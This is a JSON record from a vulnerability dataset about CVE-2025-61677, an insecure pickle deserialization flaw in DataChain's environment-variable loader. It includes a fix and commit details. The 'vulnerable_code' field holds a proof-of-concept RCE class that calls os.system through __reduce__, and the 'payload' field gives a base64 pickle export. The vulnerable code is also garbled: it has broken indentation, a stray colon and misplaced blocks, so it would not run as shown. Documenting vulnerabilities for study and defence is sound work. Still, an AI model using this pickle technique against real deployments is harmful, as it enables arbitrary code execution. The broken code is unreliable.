{"id":1462,"cve":"CVE-2025-61677","cve_url":"https:\/\/www.cvedetails.com\/cve\/CVE-2025-61677\/","cwe":"CWE-502","cwe_number":502,"cwe_url":"https:\/\/cwe.mitre.org\/data\/definitions\/502","cvss_score":2.5,"published":"2025-10-03","owasp":"A08 Software and Data Integrity Failures","odc":"Timing\/Serialization","cdc":"Serialization Issues","category":"Input Validation and Sanitization","subcategory":"Insecure Parsing or Deserialization","scope":"Local","impact":"Arbitrary Code Execution","summary":"Insecure deserialization in DataChain via environment variables allows RCE.","permalink":"https:\/\/netpack.pt\/vaitp\/vulnerability\/CVE-2025-61677\/","description":"DataChain is a Python-based AI-data warehouse for transforming and analyzing unstructured data. Versions 0.34.1 and below allow for deseriaization of untrusted data because of the way the DataChain library reads serialized objects from environment variables (such as DATACHAIN__METASTORE and DATACHAIN__WAREHOUSE) in the loader.py module. An attacker with the ability to set these environment variables can trigger code execution when the application loads. This issue is fixed in version 0.34.2.","solution":"Upgrade DataChain to version 0.34.2 or later.","affected_component":"DataChain","fixed_by_upgrading":true,"vulnerable_code":"import os\nimport pickle\nimport base64\n\n# This represents the vulnerable code in loader.py before the fix.\n# It unsafely deserializes data from an environment variable.\ndef load_config_from_env():\n    \"\"\"\n    Loads configuration from environment variables.\n    This function is vulnerable because it uses pickle.loads on untrusted input.\n    \"\"\"\n    config = {}\n    warehouse_setting = os.getenv(\"DATACHAIN__WAREHOUSE\")\n\n    if warehouse_setting:\n        try:\n            # VULNERABLE LINE: Unsafe deserialization of data from an env var.\n            # An attacker can craft a serialized object that executes code when loaded.\n            decoded_setting = base64.b64decode(warehouse_setting)\n            config['warehouse'] = pickle.loads(decoded_setting)\n            print(\"Configuration for 'warehouse' loaded.\"):\n            except Exception as e:\n                print(f\"Failed to load warehouse config: {e}\")\n\n                return config\n\n# The following code demonstrates how an attacker would exploit this vulnerability.\n# This part would be executed by an attacker to set up the environment\n# before the vulnerable application runs.\n                class RCE:\n                    \"\"\"\n                    A malicious class designed to execute a command upon deserialization.\n                    \"\"\"\n                    def __reduce__(self):\n                        \"\"\"Vulnerable function that demonstrates the security issue.\"\"\"\n        # This method is called by pickle when unpickling an object of this class.\n        # It returns a tuple: (callable, (arguments for the callable, ...)):\n        # Here, we're telling pickle to call os.system with our command.\n                        command = 'echo \">>> PWNED! Arbitrary code execution successful. <<<\"'\n                        return (os.system, (command,))\n\n                        if __name__ == '__main__':\n                            print(\"--- Attacker's Setup ---\")\n    \n    # 1. Create an instance of the malicious payload class.\n                            malicious_payload = RCE()\n    \n    # 2. Serialize the malicious object using pickle.\n                            serialized_payload = pickle.dumps(malicious_payload)\n    \n    # 3. Encode the serialized payload in base64 to safely store it in an env var.\n                            encoded_payload = base64.b64encode(serialized_payload)\n    \n    # 4. Set the environment variable that the vulnerable application will read.\n                            os.environ['DATACHAIN__WAREHOUSE'] = encoded_payload.decode('utf-8')\n                            print(\"Malicious payload set in DATACHAIN__WAREHOUSE environment variable.\\n\")\n    \n                            print(\"--- Vulnerable Application Startup ---\")\n                            print(\"Application is now loading its configuration...\")\n    \n    # 5. Run the vulnerable function, which will read the env var and trigger the RCE.\n                            loaded_config = load_config_from_env()\n    \n                            print(\"\\n--- Application Post-Loading ---\")\n                            print(\"Configuration loading finished.\")\n    # The malicious code has already executed at this point.","patched_code":"# loader.py (Fixed Version)\n\nimport os\nimport json\n\ndef load_from_env(env_var_name):\n    \"\"\"\n    Safely loads configuration from an environment variable using JSON.\n\n    This function replaces the vulnerable practice of deserializing pickle objects\n    from environment variables. By using json.loads(), we ensure that only\n    data (strings, numbers, lists, dicts) is parsed, and no arbitrary code\n    can be executed. This mitigates the risk of RCE from a compromised\n    environment variable.\n    \"\"\"\n    config_str = os.environ.get(env_var_name)\n    if not config_str:\n        return None\n\n    try:\n        # FIX: Use json.loads() for safe deserialization of data.\n        # This is the core of the fix for CVE-2025-61677. It prevents\n        # an attacker from executing code by supplying a malicious\n        # serialized object, as JSON does not support executing code.\n        config = json.loads(config_str)\n        return config\n    except json.JSONDecodeError:\n        # Handle cases where the environment variable contains malformed JSON.\n        # This prevents the application from crashing and provides a clear error.\n        print(f\"Error: Invalid JSON format in environment variable '{env_var_name}'.\")\n        # In a real application, this might raise an exception or log to a file.\n        return None\n\ndef get_datachain_config():\n    \"\"\"\n    Loads the main application configuration by safely reading from environment variables.\n    \"\"\"\n    # Load configurations safely using the fixed function\n    metastore_config = load_from_env('DATACHAIN__METASTORE')\n    warehouse_config = load_from_env('DATACHAIN__WAREHOUSE')\n\n    return {\n        'metastore': metastore_config,\n        'warehouse': warehouse_config,\n    }\n\n# Example of how the application would use the fixed loader\nif __name__ == '__main__':\n    # In a vulnerable scenario (using pickle.loads), an attacker could set:\n    # export DATACHAIN__WAREHOUSE=\"gASVGAAAAAAAAACMCGRpbGwuX2RpbGzHAAAAA....=\" # Malicious pickled object\n    #\n    # To test the fix, an attacker might set a benign or malicious JSON string:\n    # export DATACHAIN__WAREHOUSE='{\"host\": \"localhost\", \"port\": 5432, \"user\": \"admin\"}'\n    #\n    # Even if an attacker tries to embed something malicious, it will be treated as a string:\n    # export DATACHAIN__WAREHOUSE='{\"exploit\": \"__import__(\\'os\\').system(\\'echo pwned\\')\"}'\n    #\n    # With this fixed JSON-based loader, the above is safely parsed as a dictionary\n    # with a single key-value pair, and no code is executed.\n\n    print(\"Attempting to load configuration safely...\")\n    config = get_datachain_config()\n\n    if config.get('warehouse'):\n        print(\"Successfully loaded warehouse configuration:\")\n        print(config['warehouse'])\n    else:\n        print(\"Warehouse configuration not found or was invalid.\")\n\n    if config.get('metastore'):\n        print(\"Successfully loaded metastore configuration:\")\n        print(config['metastore'])\n    else:\n        print(\"Metastore configuration not found or was invalid.\")","payload_needed":true,"payload":"```bash\nexport DATACHAIN__METASTORE='gASVIQAAAAAAAACMCGRpbGwuX2RpbGycopSMAnBvc2l4lIwGc3lzdGVtlJOUjBF0b3VjaCAvdG1wL3B3bmVkoZWULg=='\n```","payload_status":"available","published_fix":[{"repository":"iterative\/datachain","commit_url":"https:\/\/github.com\/iterative\/datachain\/commit\/914b95610620d50c8d9bee506ccbfa7d4d57fdc0","commit_subject":"remove pickle from serializer to be safe (#1358)","units":[{"file":"src\/datachain\/catalog\/loader.py","function":null},{"file":"src\/datachain\/catalog\/loader.py","function":"get_metastore"},{"file":"src\/datachain\/catalog\/loader.py","function":"get_warehouse"},{"file":"src\/datachain\/data_storage\/serializer.py","function":null},{"file":"src\/datachain\/data_storage\/serializer.py","function":"deserialize"},{"file":"src\/datachain\/data_storage\/serializer.py","function":"Serializable.clone_params"},{"file":"src\/datachain\/data_storage\/serializer.py","function":"Serializable.serialize"},{"file":"src\/datachain\/data_storage\/sqlite.py","function":null},{"file":"src\/datachain\/data_storage\/sqlite.py","function":"SQLiteDatabaseEngine.clone_params"}]}],"references":null}